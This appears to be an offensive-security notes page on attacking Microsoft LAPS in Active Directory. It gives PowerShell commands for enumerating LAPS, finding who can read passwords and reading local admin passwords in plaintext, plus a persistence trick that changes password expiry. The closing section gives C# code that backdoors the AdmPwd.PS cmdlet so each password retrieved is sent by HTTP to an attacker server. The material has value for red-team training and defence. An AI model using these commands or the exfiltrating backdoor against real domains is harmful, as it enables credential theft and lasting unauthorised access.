LAPS

LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule.

  1. The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.

  2. By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins but each computer object is given permission to update these properties on itself

  3. Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level

  4. A new GPO template is installed, which is used to deploy the LAPS configuration to machines to apply different policies to different OUs

  5. The LAPS client is also installed on every machine

  6. When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.

LAPS' presence can be enumerated from BloodHound by looking at the GPOs in place or, if we have access to a host, we can check if C:\Program Files\LAPS\CSE\AdmPwd.dll is on disk. Just like from BloodHound, we can look for the needed GPOs from powershell

PS C:\users\otter\desktop> Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

or query the ms-Mcs-AdmPwdExpirationTime attribute in the domain to get a list of the hosts LAPS is enabled on

PS C:\users\otter\desktop> Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

Seatbelt can also detect LAPS with

PS C:\users\otter\desktop> Seatbelt.exe -group=system

If we find the right GPO for it and can access the file we can get more information about the password that gets generated by the policy by parsing it with GPRegistryPolicyParser

PS C:\users\otter\desktop> ls \\domain.com\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/16/2022 12:39:19   Applications
          dir     09/13/2022 15:38:58   Microsoft
          dir     08/16/2022 12:23:37   Preferences
          dir     08/16/2022 12:21:04   Scripts
 575b     fil     08/16/2022 12:22:23   comment.cmtx
 920b     fil     08/16/2022 12:22:23   Registry.pol

PS C:\users\otter\desktop> Parse-PolFile .\Registry.pol

This gives us information about the password complexity, minimum and maximum length, lifetime, the name of the account that is being managed by LAPS and whether password expiration protection is enabled or not.

BloodHound has a query to detect the ReadLAPSPassword privilege which does a good job at detecting users that can read the LAPS password on the hosts that have it enabled on LAPS (LAPS1) but (at the time of writing) doesn't detect the privilege for LAPS2.

Since reading the plaintext password is just a LDAP query and doesn't involve any other resource it's a relatively low-risk action; if we are dealing with LAPS2 and have no way to enumerate whether a user can read the password or not we can just try to read it and see if we get a plaintext value back.


To read a plaintext password from LAPS we can use

PS C:\users\otter\desktop> Get-LapsADPassword -Identity <HOSTNAME> -AsPlainText
ComputerName        : <HOSTNAME>
DistinguishedName   : CN=<HOSTNAME>,OU=Servers,DC=domain,DC=com
Account             : Administrator
Password            : <PLAINTEXT_PASSWORD>
PasswordUpdateTime  : 12/24/2023 5:57:53 AM
ExpirationTimestamp : 1/23/2024 5:57:53 AM
Source              : EncryptedPassword
DecryptionStatus    : Success
AuthorizedDecryptor : DOMAIN\<GROUP_THAT_CAN_READ_PASSWORD>

To discover which principals are allowed to read the ms-Mcs-AdmPwd attribute we can check the DACL on each computer onbject

PS C:\users\otter\desktop> Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

ObjectDN                                                      SecurityIdentifier                          
--------                                                      ------------------                          
CN=WKSTN-2,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107
CN=WEB,OU=Web Servers,OU=Servers,DC=DC,DC=domain,DC=com   S-1-5-21-569305411-121244042-2357301523-1108
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=DC,DC=domain,DC=com S-1-5-21-569305411-121244042-2357301523-1108
CN=WKSTN-1,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DOMAIN\Developers

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
DOMAIN\Support Engineers

Another great tool is LAPSToolkit which can be used to find delegated LAPS read access

# query each OU to find domain groups that have delegated read access
PS C:\users\otter\desktop> Find-LAPSDelegatedGroups

# query each computer for users with All Extended Rights
# this also reveals users that can read the password without having any delegated rights
PS C:\users\otter\desktop> Find-AdmPwdExtendedRights

LAPS has a PwdExpirationProtectionEnabled configuration setting that we can also read from the Registry.pol file: when enabled, this policy prevents a user or computer setting the expiration date of a password beyond the password age specified in the PasswordAgeDays setting (which we can also read in the policy file).

If the policy setting is left "not configured" in the GPO, then password expiration protection is disabled by default.

If we compromise a host using its LAPS password, we are able to change the current password's expiration date as a persistence mechanism.

PS C:\users\otter\desktop> Get-DomainComputer -Identity <HOSTNAME> -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

ms-mcs-admpwdexpirationtime ms-mcs-admpwd 
--------------------------- ------------- 
         133101494718702551 1N3FyjJR5L18za

Mind that the timestamp is in EPOC format (we can convert it here) so we'll need to specify the new expiration date in the right format as well

PS C:\users\otter\desktop> Set-DomainObject -Identity <HOSTNAME> -Set @{'ms-Mcs-AdmPwdExpirationTime' = '<TIMESTAMP>'} -Verbose

The newly-set expiration date will still be visible to the admins and a manual password reset will also restore the previous expiration date.


For persistence's sake we could backdoor LAPS to quickly get access to the current password even after the refresh.

One idea is to modify the code of the Get-AdmPwdPassword cmdlet which we can find at C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS. To do this we can download the AdmPwd.PS.dll and AdmPwd.Utils.dll files and use a tool like dnSpy to modify their contents.

A thing we can do is make the cmdlet send the cleartext LAPS password to our server, of course this is really bad OPSEC since everyone can see a normal HTTP GET request but we can get more creative and can use this repo to get the original AdmPws.PS.dll source code.

using System.Net;

// ...

using (var client = new WebClient())
{
    client.BaseAddress = "http://10.10.10.10";

    try
    {
        client.DownloadString($"?computer={passwordInfo.Computername}&pass={passwordInfo.Password}");
    }
    catch 
    {
        // pass
    }
}

Of course changing the contents of this file also changes its signature which can easily be detected.

Now if we execute the cmdlet we should get a hit on our server

Get-AdmPwdPassword -ComputerName <HOSTNAME> | fl

Last updated